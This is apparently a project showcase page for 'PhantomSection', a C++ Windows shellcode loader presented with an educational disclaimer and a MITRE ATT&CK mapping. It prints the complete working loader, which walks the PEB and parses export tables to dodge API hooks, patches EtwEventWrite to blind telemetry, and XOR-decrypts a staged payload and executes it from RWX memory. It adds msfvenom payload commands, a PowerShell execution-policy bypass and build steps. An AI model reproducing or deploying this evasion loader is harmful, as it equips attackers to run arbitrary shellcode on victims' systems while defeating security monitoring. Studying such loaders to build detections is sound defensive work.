PhantomSection

C++ shellcode loader - PEB walking, EAT parsing, ETW patching.

C++Win32 APIPEB WalkingEAT ParsingETW Patching

Overview

PhantomSection is a C++ shellcode loader that combines PEB walking, Export Address Table (EAT) parsing, and ETW patching to evade userland API hooking and telemetry. Payloads are staged and XOR-encrypted to bypass static signature analysis.

  • ✓API unhooking via PEB walking - no GetModuleHandle
  • ✓Manual function resolution via EAT parsing - no GetProcAddress
  • ✓Telemetry blinding via ETW patching (EtwEventWrite → xor rax, rax; ret)
  • ✓Runtime XOR payload decryption, staged separately as payload.bin
C++Win32 APIPEB WalkingEAT ParsingETW PatchingXOR 0x55msfvenomPythonPowerShellVisual Studio
DISCLAIMER - Educational and defensive-research purposes only - to understand how threat actors operate so defenders can build better telemetry and mitigations.

XOR staging - key 0x55 · runs live

Plaintext never sits on disk - only XOR output is stored as payload.bin, decrypted at runtime.

EXECUTION TRACE - DOCUMENTED FLOW, ILLUSTRATIVE REPLAY

Evidence · from the repo

How it works

  1. Loader startsExecutable starts with no suspicious imports - no GetModuleHandle, no GetProcAddress.
  2. PEB traversalWalks InMemoryOrderModuleList to locate kernel32.dll and ntdll.dll base addresses.
  3. EAT parsingParses Export Address Tables from PE headers to resolve VirtualAlloc and VirtualProtect manually.
  4. ETW patchOverwrites the EtwEventWrite prologue in ntdll.dll with a direct return before injection.
  5. Stage payloadReads XOR-encrypted payload.bin (key 0x55) from disk into a local buffer.
  6. Decrypt + executeDecrypts in memory, allocates RWX via resolved VirtualAlloc, copies and executes via function pointer.

MITRE ATT&CK MAPPING

TechniqueDescription
T1106 · Native APIManual function resolution
T1562.001 · Impair DefensesDisable or modify tools (ETW patching)
T1027 · Obfuscated FilesXOR decryption
T1055.001 · Process InjectionDynamic invocation

PHANTOMSECTION1.CPP - FULL LOADER (EDUCATIONAL, DO NOT MISUSE)

cpp
#include <windows.h>
#include <winternl.h>
#include <iostream>
#include <fstream>
#include <vector>

// PEB WALK STRUCTS
typedef struct _MY_LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;
    PVOID      ModuleBase;
    PVOID      EntryPoint;
    ULONG      SizeOfImage;
    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY;

// MANUAL RESOLVER FUNCTIONS
PVOID GetModuleBase(LPWSTR moduleName) {
    PPEB pPeb = NtCurrentTeb()->ProcessEnvironmentBlock;
    PPEB_LDR_DATA pLdr = pPeb->Ldr;
    PLIST_ENTRY pHead = &pLdr->InMemoryOrderModuleList;
    PLIST_ENTRY pCurrent = pHead->Flink;
    while (pCurrent != pHead) {
        PMY_LDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrent, MY_LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        if (pEntry->BaseDllName.Buffer != NULL) {
            if (_wcsicmp(pEntry->BaseDllName.Buffer, moduleName) == 0) return pEntry->ModuleBase;
        }
        pCurrent = pCurrent->Flink;
    }
    return NULL;
}

PVOID GetFunctionAddress(PVOID moduleBase, LPCSTR functionName) {
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)moduleBase;
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)moduleBase + pDosHeader->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)moduleBase + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    PDWORD pNames = (PDWORD)((PBYTE)moduleBase + pExportDir->AddressOfNames);
    PDWORD pFunctions = (PDWORD)((PBYTE)moduleBase + pExportDir->AddressOfFunctions);
    PWORD pOrdinals = (PWORD)((PBYTE)moduleBase + pExportDir->AddressOfNameOrdinals);
    for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) {
        LPCSTR currentName = (LPCSTR)((PBYTE)moduleBase + pNames[i]);
        if (strcmp(currentName, functionName) == 0) {
            DWORD funcRVA = pFunctions[pOrdinals[i]];
            return (PVOID)((PBYTE)moduleBase + funcRVA);
        }
    }
    return NULL;
}

int main() {
    std::cout << "[*] === PHANTOMSECTION ENGINE STARTING ===" << std::endl;
    PVOID kernel32Base = GetModuleBase((LPWSTR)L"KERNEL32.DLL");
    PVOID ntdllBase = GetModuleBase((LPWSTR)L"ntdll.dll");
    std::cout << "[+] Resolved Kernel32 and Ntdll via PEB Walk." << std::endl;
    typedef BOOL(WINAPI* fnVirtualProtect)(PVOID, SIZE_T, DWORD, PDWORD);
    fnVirtualProtect pVirtualProtect = (fnVirtualProtect)GetFunctionAddress(kernel32Base, "VirtualProtect");
    typedef PVOID(WINAPI* fnVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
    fnVirtualAlloc pVirtualAlloc = (fnVirtualAlloc)GetFunctionAddress(kernel32Base, "VirtualAlloc");
    std::cout << "[+] Resolved functions via Export Address Table." << std::endl;
    PVOID etwEventWriteAddr = GetFunctionAddress(ntdllBase, "EtwEventWrite");
    DWORD oldProtect = 0;
    pVirtualProtect(etwEventWriteAddr, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
    BYTE patch[] = { 0x48, 0x31, 0xC0, 0xC3 };
    memcpy(etwEventWriteAddr, patch, sizeof(patch));
    pVirtualProtect(etwEventWriteAddr, 1, oldProtect, &oldProtect);
    std::cout << "[+] Patched EtwEventWrite (ETW Blinded)." << std::endl;
    std::ifstream file("payload.bin", std::ios::binary);
    if (!file) {
        std::cout << "[-] Failed to open payload.bin! Make sure it is in the same folder as the .exe" << std::endl;
        return 1;
    }
    std::vector<char> enc_payload((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
    file.close();
    std::cout << "[+] Read " << enc_payload.size() << " bytes from payload.bin" << std::endl;
    void* exec_memory = pVirtualAlloc(NULL, enc_payload.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    std::cout << "[+] Allocated RWX memory at: " << exec_memory << std::endl;
    for (unsigned int i = 0; i < enc_payload.size(); i++) {
        enc_payload[i] ^= 0x55;
    }
    std::cout << "[+] Payload decrypted in memory." << std::endl;
    memcpy(exec_memory, enc_payload.data(), enc_payload.size());
    std::cout << "[+] Shellcode written. Executing payload..." << std::endl;
    ((void(*)())exec_memory)();
    return 0;
}

PAYLOAD GENERATION (KALI)

bash
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o raw.bin
python3 encrypt.py raw.bin

PAYLOAD ENCRYPTION (WINDOWS)

powershell
powershell -ExecutionPolicy Bypass -File .\encrypt.ps1 -InputFile .\raw.bin

Build log · reproduce it

REPRODUCE
—Prerequisites: Visual Studio (Desktop C++ workload); Kali with msfvenom + Python, or PowerShell
—msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o raw.bin
—python3 encrypt.py raw.bin → payload.bin
—New C++ Console App (x64) → replace main .cpp → compile Release/x64
—Place PhantomSection.exe + payload.bin together → execute